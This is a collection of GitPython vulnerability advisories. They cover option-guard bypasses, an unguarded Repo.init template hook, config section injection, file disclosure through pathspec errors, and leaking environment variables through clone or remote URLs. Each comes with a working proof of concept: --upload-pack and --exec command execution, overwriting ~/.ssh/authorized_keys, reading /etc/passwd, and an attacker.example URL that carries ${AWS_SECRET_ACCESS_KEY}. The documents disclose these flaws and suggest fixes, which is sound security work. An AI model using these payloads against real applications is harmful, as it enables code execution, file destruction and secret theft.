Threat database

GitPython versions up to 3.1.57 contain a vulnerability in the config-name validator that allows injection of arbitrary git configuration directives via crafted option names. The validator fails to reject characters such as '=', '#', ';', '[', ']', and whitespace in option names, enabling attackers to forge config directives like core.sshCommand or core.hooksPath. This can lead to remote code execution on subsequent git operations if the application forwards attacker-controlled option names to the config writer.

## Summary The `check_unsafe_options` guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with `split_single_char_options=False`. The guard's candidate list omits the smuggled option, but `transform_kwarg` emits a JOINED `-n<value>` argv token that git parses as `--upload-pack=<cmd>`, yielding arbitrary command execution at the default `allow_unsafe_options=False`. This is an incomplete-fix bypass of commit `e8d0fbf7` (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when `split_single_char_options` is True. ## Root Cause `_option_candidates` derives value-token candidates only under `if len(key)==1 and split_single_char_options:` (cmd.py:1048, added by `e8d0fbf7`). With `split_single_char_options=False`, `_option_candidates([], {"n":"utouch <cmd>;git-upload-pack"})` returns only `['-n']` (not on the denylist), so the guard passes. But `transform_kwarg('n', value, split_single_char_options=False)` emits the JOINED token `-nutouch <cmd>;git-upload-pack` (cmd.py:1631). git clusters value-less short flags then parses `-u<cmd>` = `--upload-pack=<cmd>` → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it. ## Impact Arbitrary OS command execution as the host process (via `--upload-pack`) at default `allow_unsafe_options=False`, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing `split_single_char_options=False` plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts). ## Proof of Concept ```python from git import Repo Repo.clone_from(src, dst, n="utouch /tmp/ACE;git-upload-pack", split_single_char_options=False) # /tmp/ACE created -> ACE ``` ## Attack Chain 1. Entry: app forwards user kwargs to `Repo.clone_from(url, path, **kwargs)`: `{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}`. 2. Check: `check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options)`. Guard: denylist includes `--upload-pack`/`-u`. Bypass proof: `_option_candidates` yields only `['-n']` (value token skipped because `split=False`); guard never sees `-u`. 3. Sink: `transform_kwarg` emits joined token (cmd.py:1631). argv (observed): `['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>']`. 4. Impact: git clusters `-n` + `-u<cmd>` → runs upload-pack command → ACE. ## Bypass Evidence Independently reproduced (gate harness, default `allow_unsafe_options=False`): the `split=False` payload created the marker `VH05_GATE_ACE` (ACE); the clone returned normally (guard bypassed). Control: `n='--upload-pack=…'` (split default True) → `UnsafeOptionError: --upload-pack is not allowed`. Fix-commit read: `e8d0fbf7` extends candidates only under `if len(key)==1 and split_single_char_options:` — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit `56806080`) does not cover this because the guard only ever receives `['-n']`. ## Affected Versions `GitPython <= 3.1.57` (code present verbatim on the latest release tag). ## Suggested Fix Make `_option_candidates` emit value-derived candidates regardless of `split_single_char_options` (i.e. also for the joined `-n<value>` form), OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary `Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=<dir>` copies `<dir>/hooks/*` into the new repo's `.git/hooks`, so an attacker-controlled `template` kwarg plants a hook that executes on the next git operation → arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix. ## Root Cause `Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`. ## Impact Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all. ## Proof of Concept ```python # attacker stages /evil/hooks/post-commit (executable) from git import Repo Repo.init(path, template="/evil") # next commit runs /evil/hooks/post-commit -> ACE ``` ## Attack Chain 1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template='/evil')`. 2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `['git','init','--template=/evil']`. 3. Sink: git copies `/evil/hooks/post-commit` → `<repo>/.git/hooks/post-commit`. 4. Impact: next commit runs the hook → arbitrary code execution. ## Bypass Evidence Independently reproduced (gate harness): `Repo.init(dst, template='<evil>')` → argv `['git','init','--template=<evil>']` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=<path>` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only). ## Affected Versions `GitPython <= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag). ## Suggested Fix Add a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options). --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ## Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ## Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ## Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ## Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.

## Summary GitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`. ## Root Cause The guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {"n":"--upload-pack=<cmd>"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token. ## Impact Arbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`. ## Proof of Concept ```python from git import Repo Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack") # /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED. ``` File-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated. ## Attack Chain 1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {"n":"--upload-pack=..."})` -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified live). 2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens. 3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end). ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector. ## Affected Versions `<= 3.1.53` ## Suggested Fix Make `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary `Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=<path>` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite. ## Root Cause `diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key. ## Impact Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints. ## Proof of Concept ```python # Key-control: commit.diff(other_commit, output='/home/app/.ssh/authorized_keys') # victim overwritten with diff (105 bytes verified) # Value-control (attacker controls only the ref string): commit.diff(other='--output=/home/app/.ssh/authorized_keys') # 14-byte victim -> 146 bytes of diff-tree output ``` ## Attack Chain 1. Entry (value-control): `commit.diff(other=<user ref>)` with `other = "--output=/home/app/.ssh/authorized_keys"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265. 2. Sink: `git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live. ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option. --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ## Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ## Steps to Reproduce ### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) # Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL # Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() # Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/

## Summary `Commit.count()` forwards `**kwargs` into `rev_list` with **no** `check_unsafe_options` guard (the guard exists only in the sibling `iter_items`, commit.py:341). `git rev-list --output=<path>` opens and truncates the target file to 0 bytes before revision parsing, so `count(output='/victim')` destroys/blanks an arbitrary file. ## Root Cause `commit.py:290-291` calls `self.repo.git.rev_list(self.hexsha, **kwargs)` with no `check_unsafe_options` and no `allow_unsafe_options` parameter. The sibling `iter_items` (commit.py:341) is guarded; `count` is not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixed `iter_commits`/`blame`, not `count`. ## Impact Destroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (`count` uses `self.hexsha`, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM. ## Proof of Concept ```python commit.count(output='/path/to/victim') # victim truncated to 0 bytes (verified) # control: commit.iter_commits(output=...) raises UnsafeOptionError ``` ## Attack Chain 1. Entry: app forwards user options -> `commit.count(output='/victim')`. Guard: none. Bypass proof: `iter_commits(output=)` raises UnsafeOptionError; `count(output=)` does not — verified side-by-side. 2. Sink: `git rev-list <sha> --output=/victim` -> file truncated to 0 bytes. Impact: destroy/blank arbitrary file. ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): `count(output=<victim>)` truncated a pre-existing file to 0 bytes; guarded `iter_commits(output=)` raised UnsafeOptionError. Same CNA-accepted "app forwards user options dict" model as GHSA-956x-8gvw-wg5v's `archive(**kwargs)`. Uncovered sink, not a duplicate. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `check_unsafe_options` to `Commit.count` (mirroring `iter_items`). --- Reported by **zx (Jace)** — GitHub: @manus-use

Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py — GitPython 3.1.49 (latest patched version) ```python def set_value(self, section: str, option: str, value) -> "GitConfigParser": value_str = self._value_to_string_safe(value) # only value is validated if not self.has_section(section): self.add_section(section) # section not validated super().set(section, option, value_str) # option not validated return self ``` _write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config. PoC ```python import git, os, subprocess repo = git.Repo.init("/tmp/bypass_test") os.makedirs("/tmp/evil_hooks", exist_ok=True) with open("/tmp/evil_hooks/pre-commit", "w") as f: f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n") os.chmod("/tmp/evil_hooks/pre-commit", 0o755) # Inject newline into section parameter (not value — already patched) with repo.config_writer() as cw: cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks") r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"], capture_output=True, text=True) print(r.stdout.strip()) # → /tmp/evil_hooks subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"]) print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed ``` Impact Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

`GitPython` version `3.1.50` blocks unsafe `git clone` options such as `--upload-pack`, `-u`, `--config`, and `-c` unless callers explicitly pass `allow_unsafe_options=True`. However, the default unsafe-option gate does not recognize joined short-option forms such as `-u/path/to/helper`. Git itself accepts `-u<upload-pack>` as the short form of `--upload-pack=<upload-pack>`. As a result, `Repo.clone_from(..., multi_options=["-u<helper>"], allow_unsafe_options=False)` can execute the helper command even though the equivalent long option is blocked. Affected package: - Ecosystem: PyPI - Package: `GitPython` - Confirmed affected version: `3.1.50` - Repository: `gitpython-developers/GitPython` - Current PyPI version during triage: `3.1.50` Relevant behavior: - `Repo.unsafe_git_clone_options` correctly lists `--upload-pack`, `-u`, `--config`, and `-c` as unsafe clone options. - `Repo._clone()` splits `multi_options` with `shlex.split(" ".join(multi_options))` and then calls `Git.check_unsafe_options(...)`. - `_canonicalize_option_name("-u/path/to/helper")` returns a string beginning with `u...`, not the canonical short option `u`, so it does not match the blocked `-u` entry. - Git accepts the same joined short option as `--upload-pack=<helper>` and executes the helper during clone. Preconditions: An application must pass attacker-influenced clone options into `Repo.clone_from(..., multi_options=...)` while relying on GitPython's default unsafe-option gate to block command-executing options. The local PoC uses only a local bare Git repository and a local helper script. It does not contact any third-party service. Local reproduction: The PoC creates a disposable bare Git repository, a helper script, and a sentinel file path. It first confirms that the long `--upload-pack=<helper>` form is blocked by GitPython. It then calls `Repo.clone_from(..., multi_options=["-u<helper>"], allow_unsafe_options=False)`. Observed sanitized output: ```text gitpython_version=3.1.50 git_version=git version 2.53.0.windows.1 tmp_dir=<tmp> long_upload_pack_gate=BLOCKED:UnsafeOptionError joined_short_upload_pack_gate=ALLOWED clone_result=EXPECTED_EXCEPTION:GitCommandError sentinel_exists=True sentinel_text=GITPYTHON_UNSAFE_OPTION_BYPASS ``` The clone fails because the helper exits nonzero, but the sentinel file proves that Git executed the helper despite `allow_unsafe_options=False`. Impact: An attacker who controls `multi_options` can bypass GitPython's default `allow_unsafe_options=False` protection and execute a local command via Git's `--upload-pack` / `-u` clone option. This is a residual bypass of an explicit GitPython security boundary, not merely a case where a caller opted into unsafe behavior. Duplicate / related advisory checks: - OSV query for `PyPI/GitPython` version `3.1.50` returned no vulnerabilities. - The repository's public advisories include related unsafe Git option issues, including `GHSA-x2qx-6953-8485` / `CVE-2026-42284` and `GHSA-rpm5-65cw-6hj4` / `CVE-2026-42215`. Their public affected ranges are marked as fixed before 3.1.50. - `GHSA-x2qx-6953-8485` describes validating `multi_options` before `shlex.split(...)`. GitPython 3.1.50 now validates after splitting, but the joined short option `-u<value>` still bypasses because the validator canonicalizes it to `u<value>` rather than `u`. - `GHSA-rpm5-65cw-6hj4` describes unsafe underscored kwargs such as `upload_pack=...`. The current PoC uses `multi_options=["-u<helper>"]` against 3.1.50 and does not depend on underscored kwargs. - GitHub issue search for `upload-pack unsafe options` found historical related items, including CVE-2022-24439 and the earlier unsafe-options gate work, but no public issue describing this current joined-short-option residual bypass in 3.1.50. - GitHub issue search for `multi_options unsafe` found PR #2130, which fixed splitting of `multi_options` before checking. The current issue remains after that split because `-u<value>` is treated as option name `u<value>`, not blocked short option `u`. - GitHub issue searches for `u<upload-pack> unsafe` and `-cfoo` returned no results. Suggested remediation: When checking unsafe Git options, parse joined short options that take values. For clone, `-uVALUE` and `-cKEY=VALUE` should be canonicalized to `u` and `c` respectively before comparing against the unsafe option set. A safer approach is to maintain command-specific metadata for unsafe short options and recognize the bare option, split form, joined form, and long `--option=<value>` / `--option <value>` forms.

## Summary GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples ## Code analysis Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after ## PoC Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here). ``` pip install GitPython # 3.1.50 ``` Common setup for the three: ```python import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) tmp = tempfile.gettempdir() ``` 1. exec via archive (a service exports a repo and forwards the user's options dict): ```python m = os.path.join(tmp, 'gp_archive_check') try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m}) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 2. exec via ls_remote: ```python m = os.path.join(tmp, 'gp_lsremote_check') try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';') except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 3. file clobber via a rev that looks like a ref: ```python v = os.path.join(tmp, 'release_notes.txt') open(v,'w').write('do not delete\n') print('[*] before:', repr(open(v).read())) try: list(repo.iter_commits('--output=' + v)) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] after :', repr(open(v).read()), '<- truncated') ``` ``` [*] before: 'do not delete\n' [*] Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ```

### Summary `Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL. ### Details **Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch. `Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch: `git/cmd.py` (v3.1.50), lines 907–925: ```python @classmethod def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike: """Remove any backslashes from URLs to be written in config files. ... """ if is_cygwin is None: is_cygwin = cls.is_cygwin() if is_cygwin: url = cygpath(url) else: url = os.path.expandvars(url) # <-- line 921 if url.startswith("~"): url = os.path.expanduser(url) url = url.replace("\\\\", "\\").replace("\\", "/") return url ``` `Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess: `git/repo/base.py` (v3.1.50), lines 1407–1418: ```python if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) if not allow_unsafe_options: Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options) if not allow_unsafe_options and multi: Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options) proc = git.clone( multi, "--", Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone` clone_path, ... ) ``` Because `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as: ``` https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git ``` is rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point. `polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL. **Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what 